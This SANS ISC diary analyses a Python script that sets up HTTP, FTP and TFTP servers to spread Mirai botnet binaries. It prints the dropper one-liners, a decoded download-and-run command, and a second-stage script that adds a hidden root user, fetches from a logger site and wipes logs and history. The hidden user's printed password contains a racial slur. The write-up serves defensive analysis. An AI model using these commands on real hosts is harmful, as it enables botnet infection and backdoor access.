Overview of a Mirai Payload Generator

The Mirai[1] botnet is active for years. It was the first botnet targeting devices running Linux like camera recorders. Our first diary about it was in 2016![2]. Still today, my honeypot is hit by hundreds of Mirai requests every day! I found a Python script that generates a Mirai payload (SHA256:f56391e9645df1058847e28af6918c64ddc344d9f328b3dde9015213d5efdc7e[3]) and deploys networking services to serve it via FTP, HTTP, and TFTP. Nothing very fancy but it will give you a good idea about how Linux hosts are abused to deliver malicious payloads.

First, the script grabs the public IP address of the host and defines some parameters:

ip = urllib.urlopen('http://api.ipify.org').read()
exec_bin = "yakuza"
exec_name = "wget.ssh"
bin_prefix = ""
bin_directory = "vi"
archs = ["x86.yakuza", 
"mips.yakuza", 
"mpsl.yakuza",
"arm4.yakuza", 
"arm5.yakuza",
"arm6.yakuza", 
"arm7.yakuza",
"ppc.yakuza",  
"m68k.yakuza",  
"sh4.yakuza"]  

Then, the script uses “yum” (so, it has been written to run in RedHat, CentOS, and Fedora distributions) to install the required packages to run network services to distribute the payloads:

def run(cmd):
    subprocess.call(cmd, shell=True)
print("[CC] INSTALLING WEB SERVER DEPENDENCIES")
run("yum install httpd -y &> /dev/null")
run("service httpd start &> /dev/null")
run("yum install xinetd tftp tftp-server -y &> /dev/null")
run("yum install vsftpd -y &> /dev/null")
run("service vsftpd start &> /dev/null")
run('''echo "service tftp
{
    socket_type             = dgram
    protocol                = udp
    wait                    = yes
    user                    = root
    server                  = /usr/sbin/in.tftpd
    server_args             = -s -c /var/lib/tftpboot
    disable                 = no
    per_source              = 11
    cps                     = 100 2
    flags                   = IPv4
}
" > /etc/xinetd.d/tftp''')    
run("service xinetd start &> /dev/null")
run('''echo "listen=YES
local_enable=NO
anonymous_enable=YES
write_enable=NO
anon_root=/var/ftp
anon_max_rate=2048000
xferlog_enable=YES
listen_address='''+ ip +'''
listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
run("service vsftpd restart &> /dev/null")
run("service xinetd restart &> /dev/null")

Malicious shell scripts are created in the “public” directories:

print("[CC] CREATING .SH BINS")
time.sleep(3)
run('echo "#!/bin/bash" > /var/lib/tftpboot/tyakuza.sh')
run('echo "ulimit -n 1024" >> /var/lib/tftpboot/tyakuza.sh')
run('echo "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tyakuza.sh')
run('echo "#!/bin/bash" > /var/lib/tftpboot/tyakuza2.sh')
run('echo "ulimit -n 1024" >> /var/lib/tftpboot/tyakuza2.sh')
run('echo "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tyakuza2.sh')
run('echo "#!/bin/bash" > /var/www/html/yakuza.sh')
run('echo "ulimit -n 1024" >> /var/lib/tftpboot/tyakuza2.sh')
run('echo "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tyakuza2.sh')
run('echo "#!/bin/bash" > /var/ftp/yakuza1.sh')
run('echo "ulimit -n 1024" >> /var/ftp/yakuza1.sh')
run('echo "cp /bin/busybox /tmp/" >> /var/ftp/yakuza1.sh')

A backdoor is created via an alternate root account:

def exploitmake(cmd):
    subprocess.call(cmd, shell=True)
encoded = "Y2QgL3RtcDsgd2d ... tYzsgY2xlYXI7"
exploit = str(base64.b64decode(encoded))
exploitmake(exploit)

The Base64-encode data is (beautified):

cd /tmpwget
hxxps://pastebin[.]com/raw/Lq9P9Cg5 -O a > /dev/null 2>&1
chmod 777 a
sh a > /dev/null 2>&1
rm -rf a
history -c
clear

The content of the pastie is another script (also beautified):

useradd -o -u 0 -g 0 -M -d /root -s /bin/bash bigbots
echo -e "fatnigger123nfatnigger123" | passwd bigbots
wget -q -O /tmp/... hxxps://iplogger[.]com/2XPge5
rm -rf /var/log/lastlog
history -c

The host is now reachable via SSH with the rogue user ‘bigbots’. 

I could not find the payload downloaded from iplogger[.]com (a well-known domain for hosting malicious content).

Scripts are created for all supported architectures:

for i in archs:
    run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/'+bin_directory+'/'+bin_prefix+i+'; curl -O http://' + ip + '/'+bin_directory+'/'+bin_prefix+i+';cat '+bin_prefix+i+' >'+exec_bin+';chmod +x *;./'+exec_bin+' '+exec_name+'" >> /var/www/html/yakuza.sh')
    run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' '+bin_prefix+i+' '+bin_prefix+i+';cat '+bin_prefix+i+' >'+exec_bin+';chmod +x *;./'+exec_bin+' '+exec_name+'" >> /var/ftp/yakuza1.sh')
    run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get '+bin_prefix+i+';cat '+bin_prefix+i+' >'+exec_bin+';chmod +x *;./'+exec_bin+' '+exec_name+'" >> /var/lib/tftpboot/tyakuza.sh')
    run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r '+bin_prefix+i+' -g ' + ip + ';cat '+bin_prefix+i+' >'+exec_bin+';chmod +x *;./'+exec_bin+' '+exec_name+'" >> /var/lib/tftpboot/tyakuza2.sh')    
run("service xinetd restart &> /dev/null")
run("service httpd restart &> /dev/null")
run('echo -e "ulimit -n 99999" >> ~/.bashrc')

Note that the binary executed by the script (“wget.ssh”) was not present. 

This gives you a good idea about how new hosts can be configured to deliver Mirai payloads!

[1] https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
[2] https://isc.sans.edu/diary/A+few+Mirai+Updates+MIPS+PPC+version+a+bit+less+scanning/21631
[3] https://bazaar.abuse.ch/sample/f56391e9645df1058847e28af6918c64ddc344d9f328b3dde9015213d5efdc7e/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

Source: https://isc.sans.edu/diary/Overview+of+a+Mirai+Payload+Generator/29624/